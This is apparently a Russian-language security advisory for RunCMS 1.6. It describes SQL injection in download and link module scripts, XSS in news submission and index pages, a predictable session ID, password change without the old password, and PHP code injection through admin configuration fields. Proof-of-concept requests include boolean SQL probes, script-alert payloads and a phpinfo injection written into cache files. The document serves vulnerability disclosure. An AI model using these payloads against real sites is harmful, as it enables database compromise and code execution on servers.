Программа: RunCMS 1.6
Найденные уязвимости позволяют удаленному злоумышленнику осуществить XSS
атаку и выполнить произвольный SQL код в базе данных приложения, обойти
ограничения безопасности и выполнить произвольный код на
целевой системе.
1) Уязвимость существует из-за недостаточной обработки входных данных в
сценариях brokenfile.php, visit.php, ratefile.php, ratelink.php, modlink.php и
brokenlink.php. Удаленный пользователь может с помощью специально
сформированного запроса выполнить произвольные SQL команды в базе данных
приложения.
Пример:
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG_INJECTION
GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1
HTTP/1.0
GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=0
HTTP/1.0
2) Уязвимость существует из-за недостаточной обработки входных данных сценариями
modules/news/submit.php, index.php и edituser.php. Атакующий может выполнить
произвольный сценарий в браузере жертвы в контексте безопасности уязвимого
сайта.
Пример:
POST http://[server]/[installdir]/modules/news/submit.php HTTP/1.0
subject=<script>alert("DSecRG_XSS")</script>
http://[server]/[installdir]/modules/news/index.php/"><script>alert('DSecRG_XSS')</script>
http://www.dsec.ru/about/articles/web_xss/
3) Уязвимость возникает из-за того, что приложение генерирует предсказуемый
идентификатор сессии. Атакующий может подобрать необходимый ID сессии.
4) Уязвимость возникает из-за того, что при установке нового пароля не требуется
ввести старый пароль.
5) Уязвимость возникает из-за ошибки, позволяющей вставить произвольный PHP код
и выполнить произвольные команды OS с привилегиями Web сервера.
Примеры:
страница: /modules/system/admin.php?fct=meta-generator
parameter name="header"
parameter name="footer"
страница: /modules/system/admin.php?fct=disclaimer
parameter name="disclaimer"
страница: /modules/mydownloads/admin/index.php?op=mydownloadsConfigAdmin
parameter name='disclaimer'
страница: /modules/newbb_plus/admin/forum_config.php
parameter name="disclaimer"
страница: /modules/mylinks/admin/index.php?op=myLinksConfigAdmin
parameter name="disclaimer"
страница: /modules/sections/admin/index.php?op=secconfig
parameter name='intro'
Например:
POST /modules/system/admin.php?fct=disclaimer HTTP/1.0
Host=localhost
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914
Firefox/2.0.0.7
Keep-Alive=300
Proxy-Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=226
POSTDATA=perpage=10&popular=100&newlinks=10&useshots=0&shotwidth=140& anon_add=0&rss_enable=1&rss_maxitems=5& rss_maxdescription=200&
disclaimer=<?phpinfo();?>&op=myLinksConfigChange
Эти страницы могут быть перезаписаны с помощью инжектирования PHP:
runcms_1.6\modules\sections\cache\intro.php
runcms_1.6\modules\mylinks\cache\disclaimer.php
runcms_1.6\modules\mydownloads\cache\disclaimer.php
runcms_1.6\modules\newbb_plus\cache\disclaimer.php
runcms_1.6\modules\system\cache\disclaimer.php
runcms_1.6\modules\system\cache\footer.php
runcms_1.6\modules\system\cache\header.php
runcms_1.6\modules\system\cache\maintenance.php